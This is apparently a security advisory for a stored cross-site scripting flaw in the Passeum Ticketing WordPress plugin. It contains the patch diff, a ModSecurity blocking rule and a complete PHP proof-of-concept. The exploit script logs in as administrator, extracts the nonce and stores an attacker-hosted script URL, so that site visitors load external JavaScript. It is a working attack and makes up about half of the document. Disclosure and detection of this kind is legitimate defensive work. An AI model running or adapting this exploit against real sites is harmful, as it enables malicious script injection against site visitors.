CVE-2026-7421: Passeum Ticketing <= 1.0 Authenticated (Administrator+) Stored Cross-Site Scripting via 'shop_name' Setting PoC, Patch Analysis & Rule

--- a/passeum-ticketing/inc/settings.php
+++ b/passeum-ticketing/inc/settings.php
@@ -140,24 +140,15 @@
         }

         private function validate_shop_name( $data ): string {
-            if ( empty( $data ) ) {
+            if ( empty( $data ) || ! preg_match( '/^[a-zA-Z0-9_-]+$/', $data ) ) {
                 add_settings_error(
                     'passeum_ticketing_widget_options',
                     'passeum_ticketing_widget_options',
-                    'A boltod neve mező nem lehet üres.',
+                    'A "bolt neve" mező érvénytelen. Csak alfanumerikus karaktereket, alulvonást és kötőjelet tartalmazhat.',
                     'error'
                 );
+                return '';
             }
-
-            if ( !is_string( $data ) ) {
-                add_settings_error(
-                    'passeum_ticketing_widget_options',
-                    'passeum_ticketing_widget_options',
-                    'A boltod neve mező érvénytelen.',
-                    'error'
-                );
-            }
-
             return $data;
         }

--- a/passeum-ticketing/passeum-ticketing.php
+++ b/passeum-ticketing/passeum-ticketing.php
@@ -2,8 +2,8 @@

 /*
 Plugin Name: Passeum Ticketing
-Description: Embedding the Passeum Ticketing ticket purchase widget into your own WordPress website.
-Version: 1.0
+Description: Jegyvásárlás widget beillesztése saját weboldaladra
+Version: 1.0.1
 License: GPLv2 or later
 */

@@ -201,9 +201,7 @@
         }

         private function get_shop_url( string $shop_name ): string {
-            return 0 === strpos( $shop_name, 'http' )
-                ? $shop_name
-                : 'https://' . esc_attr( $shop_name ) . '.jegyek.passeum.com';
+            return 'https://' . esc_attr( $shop_name ) . '.jegyek.passeum.com';
         }
     }
 }

SecRule REQUEST_URI "@streq /wp-admin/options.php" "id:20260001,phase:2,deny,status:403,chain,msg:'CVE-2026-7421 - Passeum Ticketing Stored XSS via shop_name setting',severity:'CRITICAL',tag:'CVE-2026-7421',tag:'WordPress',tag:'Passeum Ticketing'"
SecRule ARGS_POST:option_page "@streq passeum_ticketing_widget_options" "chain"
SecRule ARGS_POST:passeum_ticketing_widget_options[] "@rx ^https?://" "chain"
SecRule ARGS_POST:action "@streq update" ""

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7421 - Passeum Ticketing <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'shop_name' Setting

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$admin_username = 'admin'; // Change to admin username
$admin_password = 'password'; // Change to admin password
$malicious_url = 'https://attacker.com/malicious.js'; // Attacker-controlled URL

// Step 1: Login as administrator
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($admin_username) . '&pwd=' . urlencode($admin_password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);

// Step 2: Fetch the plugin settings page to get the nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options-general.php?page=passeum-ticketing');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);

// Extract nonce (assuming WordPress settings API uses _wpnonce)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
if (!isset($matches[1])) {
    echo "Failed to retrieve nonce. Exiting.n";
    exit(1);
}
$nonce = $matches[1];

// Step 3: Update the shop_name setting to the malicious URL
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'option_page=passeum_ticketing_widget_options&action=update&_wpnonce=' . urlencode($nonce) . '&_wp_http_referer=' . urlencode($target_url . '/wp-admin/options-general.php?page=passeum-ticketing') . '&passeum_ticketing_widget_options%5Bshop_name%5D=' . urlencode($malicious_url));
$response = curl_exec($ch);

if (strpos($response, 'Settings saved') !== false) {
    echo "[+] shop_name successfully set to $malicious_urln";
    echo "[+] Exploit payload stored. Any frontend page with a Passeum Ticketing shortcode will now load external JavaScript from the attacker's domain.n";
} else {
    echo "[-] Failed to update settings. Check credentials or plugin configuration.n";
}

curl_close($ch);